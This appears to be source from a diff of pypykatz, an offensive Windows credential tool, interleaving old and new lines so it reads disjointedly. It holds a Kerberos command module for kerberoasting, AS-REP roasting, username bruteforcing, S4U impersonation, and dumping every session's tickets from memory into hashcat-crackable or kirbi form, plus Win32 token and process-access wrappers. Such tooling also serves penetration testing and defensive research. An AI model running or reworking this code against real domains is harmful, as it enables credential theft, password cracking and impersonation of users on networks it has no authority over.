16 self.keywords = []
17
30 self.keywords = ['kerberos']
31
32 @staticmethod
33 def luid_converter(luid):
34 if luid.startswith('0x') is True:
35 luid = int(luid, 16)
36 return int(luid)
37
1838 def add_args(self, parser, live_parser):
19 live_group = live_parser.add_parser('kerberos', help='Kerberos (live) related commands')
20 live_group.add_argument('-c','--credential', help= 'Credential to be used, if omitted it will use teh credentials of the current user. If specified, it will try to impersonate the user. (requires the the target user has a session on the local computer)')
21 live_group.add_argument('--dc-ip', help= 'IP address or hostname of the LDAP server. Optional. If omitted will use registry to check for the DC.')
22 live_group.add_argument('cmd', choices=['spnroast', 'asreproast'])
23 live_group.add_argument('-o','--out-file', help= 'File to stroe results in')
24 live_group.add_argument('-t','--target-file', help= 'List of target users to roast. One user per line. Format: asreproast->username spnroast->domain/username')
25 live_group.add_argument('-u','--target-user', action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
26 live_group.add_argument('-r','--realm', help= 'Kerberos Realm.')
27
39 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
40 live_kerberos_subparsers = live_subcommand_parser.add_subparsers(help = 'live_kerberos_module')
41 live_kerberos_subparsers.required = True
42 live_kerberos_subparsers.dest = 'live_kerberos_module'
43
44 live_luid_parser = live_kerberos_subparsers.add_parser('currentluid', help = 'Prints out the LUID of the current user')
45
46 live_roast_parser = live_kerberos_subparsers.add_parser('roast', help = 'Automatically run spnroast and asreproast')
47 live_roast_parser.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in')
48
49 live_tgs_parser = live_kerberos_subparsers.add_parser('tgt', help = 'Request a TGT ticket. It may work better specifying the target as cifs/<domain.corp>')
50 live_tgs_parser.add_argument('--target', help='SPN string of the service to request the ticket for')
51 live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name')
52
53 live_tgs_parser = live_kerberos_subparsers.add_parser('apreq', help = 'Request a APREQ ticket for a given service')
54 live_tgs_parser.add_argument('target', help='SPN string of the service to request the ticket for')
55 live_tgs_parser.add_argument('-o','--out-file', help='Output ccache file name')
56
57 live_purge_parser = live_kerberos_subparsers.add_parser('purge', help = 'Purge all tickets. For the current user use --luid 0')
58 live_purge_parser.add_argument('--luid', help='LUID of the user whose tickets to be purged. Use "0x" if you specify a hex value!')
59
60 live_sessions_parser = live_kerberos_subparsers.add_parser('sessions', help = 'List user sessions. Needs elevated privileges.')
61
62 live_export_parser = live_kerberos_subparsers.add_parser('dump', help = 'Fetches tickets for a given session or all sessions from memory and prints or exports them as .kirbi files')
63 live_export_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!')
64 live_export_parser.add_argument('-o', '--outdir', help='path to kirbi directory')
65
66 live_triage_parser = live_kerberos_subparsers.add_parser('triage', help = 'List tickets for a given session or all sessions')
67 live_triage_parser.add_argument('--luid', help='LUID of the user whose tickets to be exported. Use "0x" if you specify a hex value!')
68
69 live_parser.add_parser('kerberos', help = 'Kerberos related commands', parents=[live_subcommand_parser])
70
71 #offline part
72 #ccache part
73 ccache_subcommand_parser = argparse.ArgumentParser(add_help=False)
74 kerberos_ccache_subparsers = ccache_subcommand_parser.add_subparsers(help = 'ccache_command')
75 kerberos_ccache_subparsers.required = True
76 kerberos_ccache_subparsers.dest = 'ccache_module'
77
78 ccache_list = kerberos_ccache_subparsers.add_parser('list', help = 'List ccache file contents')
79 ccache_list.add_argument('ccachefile', help='path to CCACHE file')
80
81 ccache_del = kerberos_ccache_subparsers.add_parser('del', help = 'Delete tickets from ccache file based on their order. To get the order user the list command.')
82 ccache_del.add_argument('ccachefile', help='path to CCACHE file')
83 ccache_del.add_argument('index', type=int, help='ticket index to delete')
84
85 ccache_roast = kerberos_ccache_subparsers.add_parser('roast', help = 'Convert stored tickets to hashcat crackable format')
86 ccache_roast.add_argument('ccachefile', help='path to CCACHE file')
87 ccache_roast.add_argument('-o','--out-file', help='Output file to store hashcat formatted tickets in')
88
89 ccache_kirbi = kerberos_ccache_subparsers.add_parser('loadkirbi', help = 'Add kirbi file to ccache file.')
90 ccache_kirbi.add_argument('ccachefile', help='path to CCACHE file')
91 ccache_kirbi.add_argument('kirbifile', help='path to kirbi file / directory')
92
93 ccache_kirbi = kerberos_ccache_subparsers.add_parser('exportkirbi', help = 'Export tickets to kirbi files. One ticket per file.')
94 ccache_kirbi.add_argument('ccachefile',help='path to CCACHE file')
95 ccache_kirbi.add_argument('kirbidir', help='path to kirbi directory ')
96
97
98 #kirbi
99 kirbi_subcommand_parser = argparse.ArgumentParser(add_help=False)
100 kerberos_kirbi_subparsers = kirbi_subcommand_parser.add_subparsers(help = 'kirbi_command')
101 kerberos_kirbi_subparsers.required = True
102 kerberos_kirbi_subparsers.dest = 'kirbi_module'
103
104 kirbi_list = kerberos_kirbi_subparsers.add_parser('parse', help = 'Parse kirbi file and show the ticket')
105 kirbi_list.add_argument('kirbifile', help='path to kirbi file')
106
107
108 kerberos_group = parser.add_parser('kerberos', help='Kerberos related commands')
109 kerberos_subparsers = kerberos_group.add_subparsers()
110 kerberos_subparsers.required = True
111 kerberos_subparsers.dest = 'kerberos_module'
112
113 tgt_parser = kerberos_subparsers.add_parser('tgt', help = 'Fetches a TGT for a given user')
114 tgt_parser.add_argument('url', help='user credentials in URL format. Example: "kerberos+password://TEST\\victim:[email protected]"')
115 tgt_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
116
117 tgs_parser = kerberos_subparsers.add_parser('tgs', help = 'Fetches a TGS for a given service/user')
118 tgs_parser.add_argument('url', help='user credentials in URL format')
119 tgs_parser.add_argument('spn', help='SPN string of the service to request the ticket for')
120 tgs_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
121
122 brute_parser = kerberos_subparsers.add_parser('brute', help = 'Bruteforcing usernames')
123 brute_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
124 brute_parser.add_argument('-o','--out-file', help='Output file to store the found usernames.')
125 brute_parser.add_argument('-n','--show-negatives', action='store_true', help='Print failed enumerations')
126 brute_parser.add_argument('address', help='Kerberos server IP/hostname')
127 brute_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
128
129 asreproast_parser = kerberos_subparsers.add_parser('asreproast', help='asreproast')
130 asreproast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
131 asreproast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
132 asreproast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
133 asreproast_parser.add_argument('address', help='Kerberos server IP/hostname')
134 asreproast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
135
136 spnroast_parser = kerberos_subparsers.add_parser('spnroast', help = 'kerberoast/spnroast')
137 spnroast_parser.add_argument('-d','--domain', help='Domain name (realm). This overrides any other domain spec that the users might have.')
138 spnroast_parser.add_argument('-e','--etype', type=int, default=23, help='Encryption type to be requested')
139 spnroast_parser.add_argument('-o','--out-file', help='Output file to store the tickets in hashcat crackable format.')
140 spnroast_parser.add_argument('url', help='user credentials in URL format')
141 spnroast_parser.add_argument('targets', nargs='*', help = 'username or file with usernames(one per line). Must be in username@domain format, unless you specified --domain then only the username is needed.You can specify mutliple usernames or files separated by space')
142
143 s4u_parser = kerberos_subparsers.add_parser('s4u', help = 'Gets an S4U2proxy ticket impersonating given user')
144 s4u_parser.add_argument('url', help='user credentials in URL format')
145 s4u_parser.add_argument('spn', help='SPN string of the service to request the ticket for')
146 s4u_parser.add_argument('targetuser', help='')
147 s4u_parser.add_argument('-o','--out-file', help='Output file to store the TGT in. CCACHE format.')
148
149 keytab_parser = kerberos_subparsers.add_parser('keytab', help = 'Parse keytab file, list secret key(s)')
150 keytab_parser.add_argument('keytabfile', help='user credentials in URL format')
151
152 ccache_parser = kerberos_subparsers.add_parser('ccache', help = 'Parse/Edit ccache file', parents=[ccache_subcommand_parser])
153 kirbi_parser = kerberos_subparsers.add_parser('kirbi', help = 'Parse/Edit kirbi file', parents=[kirbi_subcommand_parser])
28154
29155 def execute(self, args):
30156 if len(self.keywords) > 0 and args.command in self.keywords:
35161
36162
37163 def run_live(self, args):
38 from winsspi.sspi import KerberoastSSPI
39 from minikerberos.security import TGSTicket2hashcat, APREPRoast
40 from minikerberos.utils import TGTTicket2hashcat
41 from minikerberos.communication import KerberosSocket
42 from minikerberos.common import KerberosTarget
43 from pypykatz.commons.winapi.machine import LiveMachine
44
45 if not args.target_file and not args.target_user:
46 raise Exception('No targets loaded! Either -u or -t MUST be specified!')
47
48 machine = LiveMachine()
49
50 realm = args.realm
51 if not args.realm:
52 realm = machine.get_domain()
53
54 if args.cmd in ['spnroast','asreproast']:
55 targets = []
56 if args.target_file:
57 with open(args.target_file, 'r') as f:
58 for line in f:
59 line = line.strip()
60 domain = None
61 username = None
62 if line.find('/') != -1:
63 #we take for granted that usernames do not have the char / in them!
64 domain, username = line.split('/')
65 else:
66 username = line
67
68 if args.realm:
69 domain = args.realm
70 else:
71 if domain is None:
72 raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
73
74 target = KerberosTarget()
75 target.username = username
76 target.domain = domain
77 targets.append(target)
78
79 if args.target_user:
80 for user in args.target_user:
81 domain = None
82 username = None
83 if user.find('/') != -1:
84 #we take for granted that usernames do not have the char / in them!
85 domain, username = user.split('/')
86 else:
87 username = user
88
89 if args.realm:
90 domain = args.realm
91 else:
92 if domain is None:
93 raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
94 target = KerberosTarget()
95 target.username = username
96 target.domain = domain
97 targets.append(target)
98
99 results = []
100 errors = []
101 if args.cmd == 'spnroast':
102 for spn_name in targets:
103 ksspi = KerberoastSSPI()
104 try:
105 ticket = ksspi.get_ticket_for_spn(spn_name.get_formatted_pname())
106 except Exception as e:
107 errors.append((spn_name, e))
164 if platform.system() != 'Windows':
165 print('[-]This command only works on Windows!')
166 return
167
168 from pypykatz.kerberos.kerberoslive import KerberosLive, live_roast # , purge, list_sessions #get_tgt, get_tgs
169 kl = KerberosLive()
170
171 if args.live_kerberos_module == 'roast':
172 res, errors, err = asyncio.run(live_roast(args.out_file))
173 if err is not None:
174 print('[LIVE][KERBEROS][ROAST] Error while roasting tickets! Reason: %s' % geterr(err))
175 return
176 if args.out_file is None:
177 for r in res:
178 print(r)
179
180 elif args.live_kerberos_module == 'tgt':
181 ticket = kl.get_tgt(args.target)
182 if args.out_file is None:
183 print_kirbi(ticket)
184 return
185
186 with open(args.out_file, 'wb') as f:
187 f.write(ticket)
188
189 elif args.live_kerberos_module == 'apreq':
190 apreq, sessionkey = kl.get_apreq(args.target)
191 print('APREQ b64: ')
192 print(format_kirbi(apreq.dump()))
193 print('Sessionkey b64: %s' % base64.b64encode(sessionkey).decode())
194
195
196 elif args.live_kerberos_module == 'currentluid':
197 print(hex(kl.get_current_luid()))
198
199 elif args.live_kerberos_module == 'purge':
200 luid = None
201 if args.luid is not None:
202 luid = args.luid
203 if luid.startswith('0x') is True:
204 luid = int(luid, 16)
205 luid=int(luid)
206
207 kl.purge(luid)
208 print('Tickets purged!')
209
210 elif args.live_kerberos_module == 'sessions':
211 kl.list_sessions()
212
213 elif args.live_kerberos_module == 'triage':
214 if args.luid is None:
215 ticketinfos = kl.get_all_ticketinfo()
216 else:
217 luid = KerberosCMDHelper.luid_converter(args.luid)
218 ticketinfos = kl.get_ticketinfo(luid)
219
220 table = [['LUID', 'ServerName', 'RealmName', 'StartTime', 'EndTime', 'RenewTime', 'EncryptionType', 'TicketFlags']]
221 for luid in ticketinfos:
222 if len(ticketinfos[luid]) == 0:
223 continue
224
225 for ticket in ticketinfos[luid]:
226 table.append([
227 hex(luid),
228 ticket['ServerName'],
229 ticket['RealmName'],
230 filetime_to_dt(ticket['StartTime']).isoformat(),
231 filetime_to_dt(ticket['EndTime']).isoformat(),
232 filetime_to_dt(ticket['RenewTime']).isoformat(),
233 str(ticket['EncryptionType']),
234 str(ticket['TicketFlags'])
235 ])
236
237 print_table(table)
238
239
240 elif args.live_kerberos_module == 'dump':
241 if args.luid is None:
242 tickets = kl.export_all_ticketdata()
243 else:
244 luid = KerberosCMDHelper.luid_converter(args.luid)
245 tickets = kl.export_ticketdata(luid)
246
247 if args.outdir is not None:
248 for luid in tickets:
249 for ticket in tickets[luid]:
250 with open(args.outdir + 'ticket_%s.kirbi' % 'a', 'wb') as f:
251 f.write(ticket['Ticket'])
252 else:
253 for luid in tickets:
254 if len(tickets[luid]) == 0:
108255 continue
109 results.append(TGSTicket2hashcat(ticket))
110
111 elif args.cmd == 'asreproast':
112 dcip = args.dc_ip
113 if args.dc_ip is None:
114 dcip = machine.get_domain()
115 ks = KerberosSocket( dcip )
116 ar = APREPRoast(ks)
117 results = ar.run(targets)
118
119
120 if args.out_file:
121 with open(args.out_file, 'w') as f:
122 for thash in results:
123 f.write(thash + '\r\n')
124
125 else:
126 for thash in results:
127 print(thash)
128
129 for err in errors:
130 print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))
131
132 logging.info('SSPI based Kerberoast complete')
133
256
257 print('LUID @%s' % hex(luid))
258 for ticket in tickets[luid]:
259 print_kirbi(ticket['Ticket'])
260
261
134262 def run(self, args):
135 raise NotImplementedError('Platform independent kerberos not implemented!')
263 #raise NotImplementedError('Platform independent kerberos not implemented!')
264
265 if args.kerberos_module == 'tgt':
266 kirbi, filename, err = asyncio.run(get_TGT(args.url))
267 if err is not None:
268 print('[KERBEROS][TGT] Failed to fetch TGT! Reason: %s' % err)
269 return
270
271 if args.out_file is not None:
272 with open(args.out_file, 'wb') as f:
273 f.write(kirbi.dump())
274 else:
275 print_kirbi(kirbi)
276
277 elif args.kerberos_module == 'tgs':
278 tgs, encTGSRepPart, key, err = asyncio.run(get_TGS(args.url, args.spn))
279 if err is not None:
280 print('[KERBEROS][TGS] Failed to fetch TGS! Reason: %s' % err)
281 return
282
283
284 if args.out_file is not None:
285 pass
286 else:
287 print(tgs)
288 print(encTGSRepPart)
289 print(key)
290
291 elif args.kerberos_module == 'brute':
292 target_spns = generate_targets(args.targets, args.domain)
293 _, err = asyncio.run(brute(args.address, target_spns, args.out_file, args.show_negatives))
294 if err is not None:
295 print('[KERBEROS][BRUTE] Error while enumerating users! Reason: %s' % geterr(err))
296 return
297
298 elif args.kerberos_module == 'asreproast':
299 target_spns = generate_targets(args.targets, args.domain, to_spn = False)
300 _, err = asyncio.run(asreproast(args.address, target_spns, out_file = args.out_file, etype = args.etype))
301 if err is not None:
302 print('[KERBEROS][ASREPROAST] Error while enumerating users! Reason: %s' % geterr(err))
303 return
304
305 elif args.kerberos_module == 'spnroast':
306 target_spns = generate_targets(args.targets, args.domain, to_spn = True)
307 _, err = asyncio.run(spnroast(args.url, target_spns, out_file = args.out_file, etype = args.etype))
308 if err is not None:
309 print('[KERBEROS][SPNROAST] Error while enumerating users! Reason: %s' % geterr(err))
310 return
311
312 elif args.kerberos_module == 's4u':
313 tgs, encTGSRepPart, key, err = asyncio.run(s4u(args.url, args.spn, args.targetuser, out_file = None))
314 if err is not None:
315 print('[KERBEROS][S4U] Error while enumerating users! Reason: %s' % geterr(err))
316 return
317
318 elif args.kerberos_module == 'keytab':
319 process_keytab(args.keytabfile)
320
321 elif args.kerberos_module == 'ccache':
322 if args.ccache_module == 'list':
323 list_ccache(args.ccachefile)
324 elif args.ccache_module == 'roast':
325 roast_ccache(args.ccachefile, args.out_file)
326 elif args.ccache_module == 'del':
327 del_ccache(args.ccachefile, args.index)
328 elif args.ccache_module == 'exportkirbi':
329 ccache_to_kirbi(args.ccachefile, args.kirbidir)
330 elif args.ccache_module == 'loadkirbi':
331 kirbi_to_ccache(args.ccachefile, args.kirbi)
332
333 elif args.kerberos_module == 'kirbi':
334 if args.kirbi_module == 'parse':
335 parse_kirbi(args.kirbifile)
0 from ctypes import WinError, c_int, cast, c_int64, sizeof, windll, byref, Structure, c_ubyte, c_int16, c_int32, c_void_p, c_uint16, c_uint32, POINTER, c_longlong
1
2 BYTE = c_ubyte
3 UCHAR = BYTE
4 SHORT = c_int16
5 USHORT = c_uint16
6 LONG = c_int32
7 LPVOID = c_void_p
8 PVOID = LPVOID
9 PPVOID = POINTER(PVOID)
10 DWORD = c_uint32
11 HANDLE = LPVOID
12 PHANDLE = POINTER(HANDLE)
13 LPHANDLE = PHANDLE
14 NTSTATUS = LONG
15 PNTSTATUS = POINTER(NTSTATUS)
16 USHORT = c_uint16
17 ULONG = c_uint32
18 PULONG = POINTER(ULONG)
19 LONGLONG = c_int64
20
21 LPDWORD = POINTER(DWORD)
22 LPULONG = POINTER(ULONG)
23 LPLONG = POINTER(LONG)
24 PDWORD = LPDWORD
25
26 LARGE_INTEGER = c_longlong
27 PLARGE_INTEGER = POINTER(LARGE_INTEGER)
28
29 TOKEN_INFORMATION_CLASS = c_int
30
31 ERROR_INSUFFICIENT_BUFFER = 122
32
33 # Standard access rights
34 DELETE = 0x00010000
35 READ_CONTROL = 0x00020000
36 WRITE_DAC = 0x00040000
37 WRITE_OWNER = 0x00080000
38 SYNCHRONIZE = 0x00100000
39 STANDARD_RIGHTS_REQUIRED = 0x000F0000
40 STANDARD_RIGHTS_READ = READ_CONTROL
41 STANDARD_RIGHTS_WRITE = READ_CONTROL
42 STANDARD_RIGHTS_EXECUTE = READ_CONTROL
43 STANDARD_RIGHTS_ALL = 0x001F0000
44 SPECIFIC_RIGHTS_ALL = 0x0000FFFF
45
46 # Token access rights
47 TOKEN_ASSIGN_PRIMARY = 0x0001
48 TOKEN_DUPLICATE = 0x0002
49 TOKEN_IMPERSONATE = 0x0004
50 TOKEN_QUERY = 0x0008
51 TOKEN_QUERY_SOURCE = 0x0010
52 TOKEN_ADJUST_PRIVILEGES = 0x0020
53 TOKEN_ADJUST_GROUPS = 0x0040
54 TOKEN_ADJUST_DEFAULT = 0x0080
55 TOKEN_ADJUST_SESSIONID = 0x0100
56 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
57 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
58 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
59 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
60 TOKEN_ADJUST_SESSIONID)
61
62 # Invalid handle value is -1 casted to void pointer.
63 try:
64 INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF
65 except TypeError:
66 if sizeof(c_void_p) == 4:
67 INVALID_HANDLE_VALUE = 0xFFFFFFFF
68 elif sizeof(c_void_p) == 8:
69 INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF
70 else:
71 raise
72
73 SecurityAnonymous = 0
74 SecurityIdentification = 1
75 SecurityImpersonation = 2
76 SecurityDelegation = 3
77
78 SECURITY_IMPERSONATION_LEVEL = c_int
79 PSECURITY_IMPERSONATION_LEVEL = POINTER(SECURITY_IMPERSONATION_LEVEL)
80
81 TOKEN_TYPE = c_int
82 PTOKEN_TYPE = POINTER(TOKEN_TYPE)
83
84 class LUID(Structure):
85 _fields_ = [
86 ("LowPart", DWORD),
87 ("HighPart", LONG),
88 ]
89
90 def to_int(self):
91 return LUID.luid_to_int(self)
92
93 @staticmethod
94 def luid_to_int(luid):
95 return (luid.HighPart << 32) + luid.LowPart
96
97 @staticmethod
98 def from_int(i):
99 luid = LUID()
100 luid.HighPart = i >> 32
101 luid.LowPart = i & 0xFFFFFFFF
102 return luid
103
104 PLUID = POINTER(LUID)
105
106 class TOKEN_STATISTICS(Structure):
107 _fields_ = [
108 ("TokenId", LUID),
109 ("AuthenticationId", LUID),
110 ("ExpirationTime", LONGLONG), # LARGE_INTEGER
111 ("TokenType", TOKEN_TYPE),
112 ("ImpersonationLevel", SECURITY_IMPERSONATION_LEVEL),
113 ("DynamicCharged", DWORD),
114 ("DynamicAvailable", DWORD),
115 ("GroupCount", DWORD),
116 ("PrivilegeCount", DWORD),
117 ("ModifiedId", LUID),
118 ]
119
120 def to_dict(self):
121 return {
122 "TokenId": self.TokenId.to_int(),
123 "AuthenticationId": self.AuthenticationId.to_int(),
124 "ExpirationTime": self.ExpirationTime,
125 "TokenType": self.TokenType,
126 "ImpersonationLevel": self.ImpersonationLevel,
127 "DynamicCharged": self.DynamicCharged,
128 "DynamicAvailable": self.DynamicAvailable,
129 "GroupCount": self.GroupCount,
130 "PrivilegeCount": self.PrivilegeCount,
131 "ModifiedId": self.ModifiedId.to_int(),
132 }
133 PTOKEN_STATISTICS = POINTER(TOKEN_STATISTICS)
134
135 def RaiseIfZero(result, func = None, arguments = ()):
136 """
137 Error checking for most Win32 API calls.
138
139 The function is assumed to return an integer, which is C{0} on error.
140 In that case the C{WindowsError} exception is raised.
141 """
142 if not result:
143 raise WinError()
144 return result
145
146 # BOOL WINAPI OpenProcessToken(
147 # __in HANDLE ProcessHANDLE,
148 # __in DWORD DesiredAccess,
149 # __out PHANDLE TokenHandle
150 # );
151 def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS):
152 _OpenProcessToken = windll.advapi32.OpenProcessToken
153 _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE]
154 _OpenProcessToken.restype = bool
155 _OpenProcessToken.errcheck = RaiseIfZero
156
157 NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE)
158 _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle))
159 return NewTokenHandle
160
161
162 def GetTokenInformation_tokenstatistics(hTokenHandle):
163 """
164 The original function wasn't working. this one returns the SID for the token
165 """
166 TokenStatistics = 10
167
168 _GetTokenInformation = windll.advapi32.GetTokenInformation
169 _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD]
170 _GetTokenInformation.restype = bool
171 _GetTokenInformation.errcheck = RaiseIfZero
172
173 ReturnLength = DWORD(0)
174 try:
175 #getting the correct memory allocation size
176 _GetTokenInformation(hTokenHandle, TokenStatistics, None, ReturnLength, byref(ReturnLength))
177 except Exception as e:
178 pass
179
180 TokenInformationLength = ReturnLength.value
181 ReturnLength = DWORD(0)
182 ti = (BYTE * TokenInformationLength)()
183 _GetTokenInformation(hTokenHandle, TokenStatistics, byref(ti), TokenInformationLength, byref(ReturnLength))
184 if ReturnLength.value != TokenInformationLength:
185 raise WinError(ERROR_INSUFFICIENT_BUFFER)
186
187 t = cast(ti, POINTER(TOKEN_STATISTICS)).contents
188 res = t.to_dict()
189
190 return res
0
1 from asn1crypto import core
2 from minikerberos.protocol.asn1_structs import krb5int32, APOptions, Ticket, EncryptedData, AP_REQ
3
4 UNIVERSAL = 0
5 APPLICATION = 1
6 CONTEXT = 2
7 TAG = 'explicit'
8
9 class MechType(core.ObjectIdentifier):
10 _map = {
11 #'': 'SNMPv2-SMI::enterprises.311.2.2.30',
12 '1.3.6.1.4.1.311.2.2.10': 'NTLMSSP - Microsoft NTLM Security Support Provider',
13 '1.2.840.48018.1.2.2' : 'MS KRB5 - Microsoft Kerberos 5',
14 '1.2.840.113554.1.2.2' : 'KRB5 - Kerberos 5',
15 '1.2.840.113554.1.2.2.3': 'KRB5 - Kerberos 5 - User to User',
16 '1.3.6.1.4.1.311.2.2.30': 'NEGOEX - SPNEGO Extended Negotiation Security Mechanism',
17 }
18
19 class InitialContextToken(core.Sequence):
20 class_ = 1
21 tag = 0
22 _fields = [
23 ('thisMech', MechType, {'optional': False}),
24 ('unk_bool', core.Boolean, {'optional': False}),
25 ('innerContextToken', core.Any, {'optional': False}),
26 ]
27
28 _oid_pair = ('thisMech', 'innerContextToken')
29 _oid_specs = {
30 'KRB5 - Kerberos 5': AP_REQ,
31 }
0 from ctypes import WinError, windll, c_uint32, c_void_p, c_int32
1
2 LPVOID = c_void_p
3 DWORD = c_uint32
4 HANDLE = LPVOID
5 BOOL = c_int32
6 NULL = None
7
8 PROCESS_QUERY_INFORMATION = 0x0400
9 PROCESS_VM_READ = 0x0010
10 MAXIMUM_ALLOWED = 33554432
11
12
13 def RaiseIfZero(result, func = None, arguments = ()):
14 """
15 Error checking for most Win32 API calls.
16
17 The function is assumed to return an integer, which is C{0} on error.
18 In that case the C{WindowsError} exception is raised.
19 """
20 if not result:
21 raise WinError()
22 return result
23
24 def CloseHandle(hHandle):
25 _CloseHandle = windll.kernel32.CloseHandle
26 _CloseHandle.argtypes = [HANDLE]
27 _CloseHandle.restype = bool
28 _CloseHandle.errcheck = RaiseIfZero
29 _CloseHandle(hHandle)
30
31 # DWORD WINAPI GetCurrentProcessId(void);
32 def GetCurrentProcessId():
33 _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId
34 _GetCurrentProcessId.argtypes = []
35 _GetCurrentProcessId.restype = DWORD
36 return _GetCurrentProcessId()
37
38 # HANDLE WINAPI OpenProcess(
39 # __in DWORD dwDesiredAccess,
40 # __in BOOL bInheritHandle,
41 # __in DWORD dwProcessId
42 # );
43 def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId):
44 _OpenProcess = windll.kernel32.OpenProcess
45 _OpenProcess.argtypes = [DWORD, BOOL, DWORD]
46 _OpenProcess.restype = HANDLE
47
48 hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId)
49 if hProcess == NULL:
50 raise WinError()
51 return hProcess
0 import enum
1 import io
2 from ctypes import pointer,c_byte, c_wchar, c_char_p, addressof, c_ubyte, c_int16, c_longlong, cast, byref, Structure, c_char, c_buffer, string_at, windll, c_void_p, c_uint32, POINTER, c_wchar_p, WinError, sizeof, c_int32, c_uint16, create_string_buffer
3 from pypykatz.commons.common import hexdump
4
5 BYTE = c_ubyte
6 UCHAR = BYTE
7 SHORT = c_int16
8 USHORT = c_uint16
9 LONG = c_int32
10 LPWSTR = c_wchar_p
11 LPVOID = c_void_p
12 PVOID = LPVOID
13 PPVOID = POINTER(PVOID)
14 DWORD = c_uint32
15 HANDLE = LPVOID
16 PHANDLE = POINTER(HANDLE)
17 LPHANDLE = PHANDLE
18 NTSTATUS = LONG
19 PNTSTATUS = POINTER(NTSTATUS)
20 USHORT = c_uint16
21 ULONG = c_uint32
22 PULONG = POINTER(ULONG)
23 LARGE_INTEGER = c_longlong
24 PLARGE_INTEGER = POINTER(LARGE_INTEGER)
25 LPBYTE = POINTER(BYTE)
26 LPSTR = c_char_p
27 CHAR = c_char
28
29 LSA_OPERATIONAL_MODE = ULONG
30 PLSA_OPERATIONAL_MODE = POINTER(LSA_OPERATIONAL_MODE)
31 PCHAR = LPSTR
32 SEC_CHAR = CHAR
33 PSEC_CHAR = PCHAR
34
35
36 ERROR_SUCCESS = 0
37
38 maxtoken_size = 2880
39
40 class SID:
41 def __init__(self):
42 self.Revision = None
43 self.SubAuthorityCount = None
44 self.IdentifierAuthority = None
45 self.SubAuthority = []
46
47 def __str__(self):
48 t = 'S-1-'
49 if self.IdentifierAuthority < 2**32:
50 t += str(self.IdentifierAuthority)
51 else:
52 t += '0x' + self.IdentifierAuthority.to_bytes(6, 'big').hex().upper().rjust(12, '0')
53 for i in self.SubAuthority:
54 t += '-' + str(i)
55 return t
56
57 @staticmethod
58 def from_ptr(ptr):
59 if ptr == None:
60 return None
61 data = string_at(ptr, 8)
62 buff = io.BytesIO(data)
63 sid = SID()
64 sid.Revision = int.from_bytes(buff.read(1), 'little', signed = False)
65 sid.SubAuthorityCount = int.from_bytes(buff.read(1), 'little', signed = False)
66 sid.IdentifierAuthority = int.from_bytes(buff.read(6), 'big', signed = False)
67
68 data = string_at(ptr+8, sid.SubAuthorityCount*4)
69 buff = io.BytesIO(data)
70 for _ in range(sid.SubAuthorityCount):
71 sid.SubAuthority.append(int.from_bytes(buff.read(4), 'little', signed = False))
72 return sid
73
74 class KERB_PROTOCOL_MESSAGE_TYPE(enum.Enum):
75 KerbDebugRequestMessage = 0
76 KerbQueryTicketCacheMessage = 1
77 KerbChangeMachinePasswordMessage = 2
78 KerbVerifyPacMessage = 3
79 KerbRetrieveTicketMessage = 4
80 KerbUpdateAddressesMessage = 5
81 KerbPurgeTicketCacheMessage = 6
82 KerbChangePasswordMessage = 7
83 KerbRetrieveEncodedTicketMessage = 8
84 KerbDecryptDataMessage = 9
85 KerbAddBindingCacheEntryMessage = 10
86 KerbSetPasswordMessage = 11
87 KerbSetPasswordExMessage = 12
88 KerbVerifyCredentialsMessage = 13
89 KerbQueryTicketCacheExMessage = 14
90 KerbPurgeTicketCacheExMessage = 15
91 KerbRefreshSmartcardCredentialsMessage = 16
92 KerbAddExtraCredentialsMessage = 17
93 KerbQuerySupplementalCredentialsMessage = 18
94 KerbTransferCredentialsMessage = 19
95 KerbQueryTicketCacheEx2Message = 20
96 KerbSubmitTicketMessage = 21
97 KerbAddExtraCredentialsExMessage = 22
98 KerbQueryKdcProxyCacheMessage = 23
99 KerbPurgeKdcProxyCacheMessage = 24
100 KerbQueryTicketCacheEx3Message = 25
101 KerbCleanupMachinePkinitCredsMessage = 26
102 KerbAddBindingCacheEntryExMessage = 27
103 KerbQueryBindingCacheMessage = 28
104 KerbPurgeBindingCacheMessage = 29
105 KerbQueryDomainExtendedPoliciesMessage = 30
106 KerbQueryS4U2ProxyCacheMessage = 31
107
108 # https://apidock.com/ruby/Win32/SSPI/SSPIResult
109 class SEC_E(enum.Enum):
110 OK = 0x00000000
